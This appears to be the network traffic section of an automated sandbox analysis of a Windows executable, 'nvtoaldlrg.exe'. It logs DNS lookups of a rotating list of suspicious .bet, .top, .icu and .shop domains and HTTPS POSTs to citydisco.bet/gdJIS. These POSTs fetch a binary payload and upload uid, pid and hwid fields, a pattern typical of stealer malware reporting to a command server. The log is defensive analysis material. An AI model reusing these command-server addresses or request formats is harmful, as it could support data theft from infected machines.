Mar 13, 2025 14:58:28.925234079 CET	443	49738	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:28.925364971 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:28.928523064 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:28.928534985 CET	443	49738	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:28.928788900 CET	443	49738	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:28.937726021 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:28.937750101 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:28.937805891 CET	443	49738	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:29.861478090 CET	443	49738	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:29.865659952 CET	443	49738	188.114.96.3	192.168.2.8
Mar 13, 2025 14:58:29.868398905 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:29.868398905 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:29.868999958 CET	49738	443	192.168.2.8	188.114.96.3
Mar 13, 2025 14:58:29.869019032 CET	443	49738	188.114.96.3	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 14:58:06.740349054 CET	63036	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:06.759413004 CET	53	63036	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:15.741792917 CET	56844	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:15.751461029 CET	53	56844	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:15.752727985 CET	64950	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:16.544230938 CET	53	64950	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:16.550553083 CET	54209	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:16.570880890 CET	53	54209	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:16.575683117 CET	63535	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:16.763010025 CET	53	63535	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:16.768379927 CET	52094	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:16.780987024 CET	53	52094	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:16.785901070 CET	57934	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:16.801736116 CET	53	57934	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:16.806643009 CET	60366	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:16.820607901 CET	53	60366	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:16.833431959 CET	65367	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:16.845788956 CET	53	65367	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:16.847145081 CET	49628	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:16.854360104 CET	53	49628	1.1.1.1	192.168.2.8
Mar 13, 2025 14:58:27.522490978 CET	57344	53	192.168.2.8	1.1.1.1
Mar 13, 2025 14:58:27.569567919 CET	53	57344	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 14:58:06.740349054 CET	192.168.2.8	1.1.1.1	0x7f7b	Standard query (0)	citydisco.bet	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:15.741792917 CET	192.168.2.8	1.1.1.1	0xf2f8	Standard query (0)	featureccus.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:15.752727985 CET	192.168.2.8	1.1.1.1	0x9072	Standard query (0)	mrodularmall.top	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.550553083 CET	192.168.2.8	1.1.1.1	0x25d9	Standard query (0)	jowinjoinery.icu	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.575683117 CET	192.168.2.8	1.1.1.1	0xdc62	Standard query (0)	legenassedk.top	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.768379927 CET	192.168.2.8	1.1.1.1	0x9cc2	Standard query (0)	htardwarehu.icu	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.785901070 CET	192.168.2.8	1.1.1.1	0xc080	Standard query (0)	cjlaspcorne.icu	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.806643009 CET	192.168.2.8	1.1.1.1	0xf53f	Standard query (0)	bugildbett.top	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.833431959 CET	192.168.2.8	1.1.1.1	0xe7d3	Standard query (0)	latchclan.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.847145081 CET	192.168.2.8	1.1.1.1	0xb5ea	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:27.522490978 CET	192.168.2.8	1.1.1.1	0x2844	Standard query (0)	guntac.bet	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 14:58:06.759413004 CET	1.1.1.1	192.168.2.8	0x7f7b	No error (0)	citydisco.bet		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:06.759413004 CET	1.1.1.1	192.168.2.8	0x7f7b	No error (0)	citydisco.bet		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:15.751461029 CET	1.1.1.1	192.168.2.8	0xf2f8	Name error (3)	featureccus.shop	none	none	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.544230938 CET	1.1.1.1	192.168.2.8	0x9072	No error (0)	mrodularmall.top		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.544230938 CET	1.1.1.1	192.168.2.8	0x9072	No error (0)	mrodularmall.top		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.544230938 CET	1.1.1.1	192.168.2.8	0x9072	No error (0)	mrodularmall.top		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.544230938 CET	1.1.1.1	192.168.2.8	0x9072	No error (0)	mrodularmall.top		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.544230938 CET	1.1.1.1	192.168.2.8	0x9072	No error (0)	mrodularmall.top		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.544230938 CET	1.1.1.1	192.168.2.8	0x9072	No error (0)	mrodularmall.top		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.544230938 CET	1.1.1.1	192.168.2.8	0x9072	No error (0)	mrodularmall.top		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.570880890 CET	1.1.1.1	192.168.2.8	0x25d9	No error (0)	jowinjoinery.icu		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.570880890 CET	1.1.1.1	192.168.2.8	0x25d9	No error (0)	jowinjoinery.icu		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.763010025 CET	1.1.1.1	192.168.2.8	0xdc62	No error (0)	legenassedk.top		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.763010025 CET	1.1.1.1	192.168.2.8	0xdc62	No error (0)	legenassedk.top		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.780987024 CET	1.1.1.1	192.168.2.8	0x9cc2	No error (0)	htardwarehu.icu		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.780987024 CET	1.1.1.1	192.168.2.8	0x9cc2	No error (0)	htardwarehu.icu		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.780987024 CET	1.1.1.1	192.168.2.8	0x9cc2	No error (0)	htardwarehu.icu		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.780987024 CET	1.1.1.1	192.168.2.8	0x9cc2	No error (0)	htardwarehu.icu		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.780987024 CET	1.1.1.1	192.168.2.8	0x9cc2	No error (0)	htardwarehu.icu		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.780987024 CET	1.1.1.1	192.168.2.8	0x9cc2	No error (0)	htardwarehu.icu		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.780987024 CET	1.1.1.1	192.168.2.8	0x9cc2	No error (0)	htardwarehu.icu		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.801736116 CET	1.1.1.1	192.168.2.8	0xc080	No error (0)	cjlaspcorne.icu		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.801736116 CET	1.1.1.1	192.168.2.8	0xc080	No error (0)	cjlaspcorne.icu		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.801736116 CET	1.1.1.1	192.168.2.8	0xc080	No error (0)	cjlaspcorne.icu		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.801736116 CET	1.1.1.1	192.168.2.8	0xc080	No error (0)	cjlaspcorne.icu		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.801736116 CET	1.1.1.1	192.168.2.8	0xc080	No error (0)	cjlaspcorne.icu		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.801736116 CET	1.1.1.1	192.168.2.8	0xc080	No error (0)	cjlaspcorne.icu		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.801736116 CET	1.1.1.1	192.168.2.8	0xc080	No error (0)	cjlaspcorne.icu		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.820607901 CET	1.1.1.1	192.168.2.8	0xf53f	No error (0)	bugildbett.top		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.820607901 CET	1.1.1.1	192.168.2.8	0xf53f	No error (0)	bugildbett.top		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.820607901 CET	1.1.1.1	192.168.2.8	0xf53f	No error (0)	bugildbett.top		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.820607901 CET	1.1.1.1	192.168.2.8	0xf53f	No error (0)	bugildbett.top		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.820607901 CET	1.1.1.1	192.168.2.8	0xf53f	No error (0)	bugildbett.top		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.820607901 CET	1.1.1.1	192.168.2.8	0xf53f	No error (0)	bugildbett.top		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.820607901 CET	1.1.1.1	192.168.2.8	0xf53f	No error (0)	bugildbett.top		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.845788956 CET	1.1.1.1	192.168.2.8	0xe7d3	Name error (3)	latchclan.shop	none	none	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:16.854360104 CET	1.1.1.1	192.168.2.8	0xb5ea	No error (0)	steamcommunity.com		104.73.234.102	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:27.569567919 CET	1.1.1.1	192.168.2.8	0x2844	No error (0)	guntac.bet		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 14:58:27.569567919 CET	1.1.1.1	192.168.2.8	0x2844	No error (0)	guntac.bet		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

citydisco.bet

steamcommunity.com

guntac.bet

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49682	188.114.97.3	443	7128	C:\Users\user\Desktop\nvtoaldlrg.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 13:58:08 UTC	263	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 73 Host: citydisco.bet
2025-03-13 13:58:08 UTC	73	OUT	Data Raw: 75 69 64 3d 37 33 37 30 39 63 65 36 61 33 39 36 64 61 33 33 37 39 36 37 64 34 35 35 61 35 64 35 37 39 34 37 26 63 69 64 3d 61 36 65 33 34 38 33 35 32 39 33 64 61 31 37 38 32 38 30 33 34 63 39 36 32 34 66 34 62 36 34 39 Data Ascii: uid=73709ce6a396da337967d455a5d57947&cid=a6e34835293da17828034c9624f4b649
2025-03-13 13:58:09 UTC	783	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 13:58:09 GMT Content-Type: application/octet-stream Content-Length: 14408 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2L%2FTF6OmirOBn5je3Kr3zYA4kr98L7TF0RA0oUiewnWElXWxou4kzZi6xEa%2BN6sPx3OoW8%2F2E4zOQVAltQviGI8cEgWCEc4hrLZd%2BDFtgl7kUri90SC5Lra%2Bp6dUVYDw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fc0b602fc25961-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18435&min_rtt=14594&rtt_var=7551&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=972&delivery_rate=198328&cwnd=243&unsent_bytes=0&cid=740add63977cfd66&ts=1202&x=0"
2025-03-13 13:58:09 UTC	586	IN	Data Raw: 73 a4 76 9c c2 a6 cc d4 3f 07 b4 11 5d fd 00 4d 89 ab 11 30 b7 c3 c2 a5 26 00 08 a8 35 55 db de 3d 6b c4 b7 fe 58 11 9d fb 6e 35 52 62 50 08 0b 0a 0f a1 63 bd 02 5b b2 3b bc 73 a2 97 e1 d8 08 95 0a a4 20 64 11 6c 43 aa e0 33 6d 5c e1 94 da 6d 5d 4c fb e8 fe b1 61 90 ce 57 d2 0c fd ce 37 dc ea ec 21 5e dc fd 36 bd 31 fd 87 ae 9e 5b db dd dd 17 22 14 2b e1 66 ba 17 8c bc 41 c1 6e dc 86 a8 d8 25 81 db e3 c9 8a e4 b7 3d e9 1f 3b c6 98 21 d1 3f fb 0f 74 69 86 3c 97 0c 72 98 b7 ea 8c 87 94 8c 4c 76 9c 2b d5 5c 53 bf db 5f ce f8 05 eb f9 c1 5c 8a 19 29 f6 a2 ee fe 23 ae 78 0d c1 6d 20 ce 90 4e 44 b9 40 85 d7 90 81 d0 1d 73 15 35 59 33 91 b5 81 9b 75 b1 ac c3 31 75 c7 ba 7f d4 0b f5 c3 c1 bc 95 e4 53 2c 12 0f 3e 6c de 7e 95 7d fd d1 48 b4 a0 53 13 d3 69 7b c4 b7 Data Ascii: sv?]M0&5U=kXn5RbPc[;s dlC3m\m]LaW7!^61["+fAn%=;!?ti<rLv+\S_\)#xm ND@s5Y3u1uS,>l~}HSi{
2025-03-13 13:58:09 UTC	1369	IN	Data Raw: 88 c7 e8 ba c8 0f 5d e5 7d b6 9d 3c ef ba da 1c 8f 75 ae 99 a4 84 79 e4 cc c0 2b 8e 0c 86 09 51 f1 91 84 4b cb b8 69 e6 fe b1 41 e2 56 a5 fe 6e a5 f0 9f e4 a8 85 c9 37 15 59 f8 01 6b 8c fe f3 df 7f 7e 35 95 00 54 c2 88 57 fb 02 ce 7c d8 08 83 18 f7 8a 0e d1 31 b9 92 b5 80 c1 4e 78 4f b4 ff 0c 59 19 6d 0f d8 95 01 ae 13 a8 cd 39 94 bb 97 b3 e1 71 7e a1 93 30 42 c6 9f 58 f9 b6 2a 74 e2 da 6c 30 32 5a 6f 77 2a 41 a8 eb 75 b6 58 d5 ac 66 1c c2 ae c3 af 05 43 18 aa 9c 6a c1 f3 11 59 da 60 45 ab d5 aa 2a 27 19 3a 3b 11 35 ad a7 20 7c b0 d7 29 5d 03 be 02 78 17 e8 4f b8 45 d8 af b2 71 be e9 cb ab 9a 0d 2f ce 1b 31 0b 54 f5 b6 32 3b 38 d6 38 7e 28 d6 6b 47 f6 96 2c fe 3f d9 38 cf c1 e1 c0 0a 69 d9 f8 1d ac cf e4 9a 24 dd 24 5f 87 de e3 46 c6 b9 52 b3 93 d5 42 8e Data Ascii: ]}<uy+QKiAVn7Yk~5TW\|1NxOYm9q~0BXtl02ZowAuXfCjY`E*':;5 \|)]xOEq/1T2;88~(kG,?8i$$_FRB
2025-03-13 13:58:09 UTC	1369	IN	Data Raw: d2 6e 4f ad 3d 55 f8 cd 14 ee 93 a6 ae 2f 61 f5 f9 9b 41 38 5f de 39 f0 a7 23 42 83 c3 0f e2 dc 58 11 b5 b1 91 84 0f 78 b1 df 9a d2 16 e4 32 b3 c5 ba 72 e1 e2 26 18 bf 33 2d 5b 35 3a 56 8e 7a f1 fa bc 23 1a 71 21 06 bd 3e a0 31 c9 97 18 c8 db 78 d9 8d 8d 40 9b 95 4a 35 f4 34 83 4f 2e be 4c c8 61 ed 93 f1 7e c4 50 ff b0 01 6f ad 60 03 96 dc 95 bc 59 0e c2 2f 86 7f e8 e0 11 73 08 3c 7b bb 29 0a e4 ca 7e 2f 59 ec a8 b7 2a 76 e3 8d e6 a4 39 01 b4 fb 86 ab 2e 76 49 37 4e c4 dc f7 17 29 6d fb d0 09 e7 e7 7e 70 94 1f 1e b6 f4 60 04 99 11 54 67 50 98 c2 7d 55 d2 73 9d 04 02 db 40 bb 3c 3c e9 95 88 08 b3 bf 3b 14 35 87 42 f1 b3 f0 a8 c6 a1 6c a0 cf c7 0c 03 89 01 d5 f6 4f 72 75 47 5e cf 37 6b 08 8b 93 a8 cc 71 d7 2a 23 51 5f d2 50 53 e2 6a 20 e2 51 17 ef 81 56 09 Data Ascii: nO=U/aA8_9#BXx2r&3-[5:Vz#q!>1x@J54O.La~Po`Y/s<{)~/Yv9.vI7N)m~p`TgP}Us@<<;5BlOruG^7kq#Q_PSj QV
2025-03-13 13:58:09 UTC	1369	IN	Data Raw: db 34 89 c0 66 e2 a9 6c 8b 4c 7e cd 6a e9 66 9f 46 28 90 9c 07 33 89 46 a6 bf 1d fb 2b 23 f1 41 4d 72 fe c8 8f 13 36 de 5e 8b dd c2 13 9c e3 28 1e 88 a0 06 94 e9 ce b1 b5 51 7c 78 77 c3 ee 72 bb 7f f3 96 8c 71 2e 51 de cb 10 fd d2 ce 24 fa 20 a1 45 fd d1 5e 00 1f f9 70 d2 85 4d ff 2d fd 02 44 e3 f5 35 da c3 67 0a 9d 1f dc f3 4b 18 4a 82 03 eb 47 c1 57 e3 da 77 89 4e 4a c0 0a ca c7 d2 8f 7c 96 46 1c 7c 7c 84 d9 38 17 ee 86 6f 83 91 af 6d 61 45 86 29 6c 3f dd 29 8e c6 97 18 99 c0 c5 06 68 2f 30 b4 27 bc b7 72 8e c1 70 c4 f4 7f f0 36 34 aa b0 9b 70 f7 7d d3 6a 74 f3 11 43 a6 45 8d 2b a0 84 6d 4d 6b 3c 4f 17 3f 66 13 28 4d 11 63 d5 a6 b9 38 92 63 54 f3 1c 5d 70 3e 03 96 64 c7 4b 7c 6b 01 30 d6 3a dd 92 2e cf 1f c3 d7 3d 7d 50 c6 26 bc 0d 36 37 12 c0 e0 13 e5 Data Ascii: 4flL~jfF(3F+#AMr6^(Q\|xwrq.Q$ E^pM-D5gKJGWwNJ\|F\|\|8omaE)l?)h/0'rp64p}jtCE+mMk<O?f(Mc8cT]p>dK\|k0:.=}P&67
2025-03-13 13:58:09 UTC	1369	IN	Data Raw: a9 f4 3e 02 50 03 c2 55 cc f9 55 6a 40 84 68 d3 70 35 b3 15 40 a1 17 8c fc 1b b1 ef 69 3c 1a 64 a3 dd b7 bd 16 43 6d 4e a4 dd c9 f2 3d 22 e9 31 04 72 fa e9 7e 4f c5 f7 c9 f4 99 5c 18 9d 84 f4 65 f5 f8 b5 c0 8c 35 bd 50 e5 52 bd 33 b0 5a 31 92 24 8d 8c be 2b 7c e5 91 98 8f 7e c4 60 31 b4 b1 97 88 d7 cb 56 a9 2c 29 27 94 ea ef 5a 5c bf 7a 1c 64 dc ef dd a0 69 d1 b7 8c 1c d6 9d 8a 44 c4 15 eb 0f 06 d1 e6 0f 3e c6 03 77 7e 50 66 00 7e 94 b4 e2 9c 20 7d 6b 2d 2a b5 d0 05 78 8f e0 c2 69 e3 ae 2c 10 02 0c bf 5d 7e 60 b2 56 e4 5a 4c 4e 78 c6 76 18 92 c3 0d 3c d5 6f 90 ec d1 7f cd 71 b0 d4 ed 15 69 30 1a fe d1 35 df 01 82 0f 42 95 72 65 dd 3b cf 3c 9f b3 44 2e bd 3e 35 92 2c 4a 2d db b0 f9 8b 01 38 eb e7 64 0f 4f f1 e4 29 52 b2 95 c7 7f 2c 98 3b 31 f7 e1 3b 2c 09 Data Ascii: >PUUj@hp5@i<dCmN="1r~O\e5PR3Z1$+\|~`1V,)'Z\zdiD>w~Pf~ }k-*xi,]~`VZLNxv<oqi05Bre;<D.>5,J-8dO)R,;1;,
2025-03-13 13:58:09 UTC	1369	IN	Data Raw: 42 25 88 9b 54 4a d6 05 58 8f e6 3e 49 04 de 2c 56 a9 b1 4b ec 3b b7 04 39 07 64 ac 2a 87 78 d9 83 50 e0 6f 20 04 da 15 7d fb b5 f3 50 bb d2 b2 ef 71 0a 3d 47 ad 27 4c 07 c0 f1 a4 01 86 bf 04 bf ab 03 9b ea 7f eb 68 64 1f d8 18 33 25 80 45 5d 85 c0 fe 44 5d f5 3a 9c dd 31 f1 34 79 95 66 c0 50 22 56 39 28 5a 32 39 83 16 e5 b8 c6 65 46 09 67 97 6b ca be c9 20 80 7e df bd e1 e7 c2 51 5a 39 e1 a3 5d ba fb 59 4b 06 40 34 5b cf 15 9e f5 17 20 0b 6e 35 09 1f 21 34 10 69 16 37 d9 d1 e8 0f 62 5b 5a ef 5a 28 65 3c 59 06 09 d8 28 ba 43 89 c8 b3 8c 6a 56 9a f0 13 ea 1c 2f a6 f5 97 68 5e 57 41 de 55 ee 14 e6 b1 fa 42 8e 18 b5 40 4b 6d 61 35 18 6c 01 f0 93 ea 58 dc 60 d1 5a f3 ac d8 80 bc 1a 0f ea d2 d3 3c e4 41 e9 db b0 f9 ff fa ac 74 52 7b 7c 55 9c 2b 0f c3 66 5b 40 Data Ascii: B%TJX>I,VK;9d*xPo }Pq=G'Lhd3%E]D]:14yfP"V9(Z29eFgk ~QZ9]YK@4[ n5!4i7b[ZZ(e<Y(CjV/h^WAUB@Kma5lX`Z<AtR{\|U+f[@
2025-03-13 13:58:09 UTC	1369	IN	Data Raw: b4 21 11 e6 b3 ca 2f 47 34 d2 6c c8 c0 a3 23 6c e0 3b 88 70 5c 72 ae 34 5d 69 3e dd 06 fe 3f 50 64 5e ad d3 0b 15 4b 49 6a f9 a0 a2 e2 91 01 0c 7c 6c 7d ad eb 53 3e a9 32 14 ca 92 aa d3 4e 96 89 d1 32 7a 7a ea ba 26 cb ac 65 10 dc a7 4f b8 f4 b5 27 cf 9e ff 7c ce 98 0f c7 67 88 eb 13 40 ec 5d a4 90 1b 9f b3 3d 03 31 a8 43 6b 4f 13 56 6f 1c 4a d9 2d 8a 11 a8 21 94 82 b9 3a fc 49 49 5f 8b 60 bb ab c8 ec 8f 68 7f b1 d8 27 f8 37 f6 c6 ad 24 82 b6 80 96 aa 3b 92 2f 95 8f 33 f9 de 7e 6b 06 bc 9d f5 39 10 c2 4e b9 ef 61 5d ed 6f 86 1d 1b 5d 80 e7 61 ba 39 9a c7 bc 62 b0 b9 b7 60 ea a2 25 db 5d 16 e0 9e 13 96 0d d1 c7 81 c3 7f 9d 3d 39 ee f7 e4 a5 aa 65 fa e6 55 1b 09 ce e4 24 4d 77 a0 a7 a5 45 6c 63 d0 78 74 e9 8d 0a 36 6d 07 48 5a b6 3d 4e 9b c4 7e ef ba 92 75 Data Ascii: !/G4l#l;p\r4]i>?Pd^KIj\|l}S>2N2zz&eO'\|g@]=1CkOVoJ-!:II_`h'7$;/3~k9Na]o]a9b`%]=9eU$MwElcxt6mHZ=N~u
2025-03-13 13:58:09 UTC	1369	IN	Data Raw: 68 f0 d8 8a 4f 35 8d 8b 62 95 e8 d3 51 03 f2 cb ab d1 f2 b1 cf 9a 25 be 2b 6f a7 b8 6c 4f a9 8b 8e 33 d9 db 8f 74 b0 54 32 56 74 d8 5a 72 ba 02 99 51 10 21 bf 34 3b 14 26 96 3d b0 7c 62 0e 9a 7d 83 0f 6b bb 97 80 7a e0 ca bc 23 b6 c1 cc 93 37 14 93 40 9b 2c 61 89 6f 46 48 89 c3 31 59 0f 63 e0 d3 37 36 f8 91 27 3a 9e d1 f5 a9 93 b6 b7 2f 32 cc 9d 95 07 f0 26 f0 a9 ff a1 d6 6e 94 4f a0 0e e1 68 ab a1 57 66 55 65 65 4a b1 e8 e6 9f 60 dc af 5f b9 c3 dd 4b 52 a5 20 62 36 92 dc 93 da 03 7d ac 0b d6 f1 eb cb 53 ec e1 46 cc 34 52 35 5a bf 3d 43 87 cc 76 e2 93 f4 15 e4 df 70 20 b6 4f 49 d5 6d dc 9a 49 e0 55 3e 6b 7e 0c de 4d db 50 0c ec aa 57 2b 04 65 0c 2c 61 48 39 02 bc 7e 93 16 db 67 19 d5 05 60 fe 5c 6a 19 10 93 34 23 2f e0 61 3c 29 66 a5 24 75 47 52 d5 78 72 Data Ascii: hO5bQ%+olO3tT2VtZrQ!4;&=\|b}kz#7@,aoFH1Yc76':/2&nOhWfUeeJ`_KR b6}SF4R5Z=Cvp OImIU>k~MPW+e,aH9~g`\j4#/a<)f$uGRxr
2025-03-13 13:58:09 UTC	1369	IN	Data Raw: 75 ad 91 7f 29 32 46 ca b3 2e 81 a2 b2 10 7a 2c d2 ae bf bc 2c 80 62 e2 50 1e 2d a4 de 3e 3d c0 bc b3 c1 2f 06 3f 8f 65 91 b2 4c 37 3c 15 3a 8a a8 3a f0 d0 0e 96 2f e2 a2 34 a9 7c 5d 5c 9e 78 06 a1 19 05 7d a6 32 21 b3 bf b2 48 76 93 c2 7b b2 66 36 08 72 34 31 4e 0c eb b8 69 f0 25 67 c2 7a 76 90 0c 48 26 64 02 ab 05 77 e1 d0 06 21 13 ad ae 49 74 d8 54 d1 58 9c d9 74 a0 d7 8e 8e 9b c5 e2 86 6d 9b 17 51 39 d6 95 c8 2b db b6 7f c5 5d 3f 1c 7f e3 2f 37 0b 05 c1 0d c7 56 c3 4a ee f8 8d 64 41 3b 0c 38 e1 bf 50 bc 64 cb b7 0d a5 78 25 f5 b2 ad 44 1e ce 46 f1 3f 77 4c 47 7b 3c 39 18 fa d4 4e 8c 39 bf 6a 3a 53 fe df ed f0 e9 d5 92 2b d2 84 f9 bc 0f 67 39 91 a4 7b 3b 57 ee 70 c1 68 ac ef e5 17 19 f3 9e 37 8c fb 6e e5 52 cb b0 36 0d 3c bb 01 c8 ff 3d 05 ab 54 93 98 Data Ascii: u)2F.z,,bP->=/?eL7<::/4\|]\x}2!Hv{f6r41Ni%gzvH&dw!ItTXtmQ9+]?/7VJdA;8Pdx%DF?wLG{<9N9j:S+g9{;Wph7nR6<=T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49683	188.114.97.3	443	7128	C:\Users\user\Desktop\nvtoaldlrg.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 13:58:11 UTC	278	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=g82Kw7030JG54Ml User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 14496 Host: citydisco.bet
2025-03-13 13:58:11 UTC	14496	OUT	Data Raw: 2d 2d 67 38 32 4b 77 37 30 33 30 4a 47 35 34 4d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 37 33 37 30 39 63 65 36 61 33 39 36 64 61 33 33 37 39 36 37 64 34 35 35 61 35 64 35 37 39 34 37 0d 0a 2d 2d 67 38 32 4b 77 37 30 33 30 4a 47 35 34 4d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 67 38 32 4b 77 37 30 33 30 4a 47 35 34 4d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 38 36 35 41 31 44 38 38 42 42 43 42 38 44 32 36 38 45 30 39 Data Ascii: --g82Kw7030JG54MlContent-Disposition: form-data; name="uid"73709ce6a396da337967d455a5d57947--g82Kw7030JG54MlContent-Disposition: form-data; name="pid"2--g82Kw7030JG54MlContent-Disposition: form-data; name="hwid"BF865A1D88BBCB8D268E09
